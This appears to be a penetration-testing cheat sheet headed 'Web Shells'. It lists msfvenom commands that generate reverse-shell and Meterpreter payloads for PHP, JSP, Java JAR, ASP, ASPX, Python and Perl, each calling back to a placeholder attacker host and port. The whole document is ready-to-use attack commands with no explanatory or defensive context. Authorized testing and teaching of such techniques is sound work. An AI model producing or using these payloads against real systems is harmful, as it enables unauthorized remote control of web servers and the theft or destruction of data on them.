Web Shells

PHP

msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php
# Prepend <?php to activate

PHP β€” Stageless

msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php

JSP (Java Server Pages)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp

Java JAR

msfvenom -p java/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f jar > shell.jar

ASP (Classic)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp

ASPX (.NET)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f aspx > shell.aspx

Python

msfvenom -p python/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.py

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<ip> LPORT=<port> -f raw > shell.pl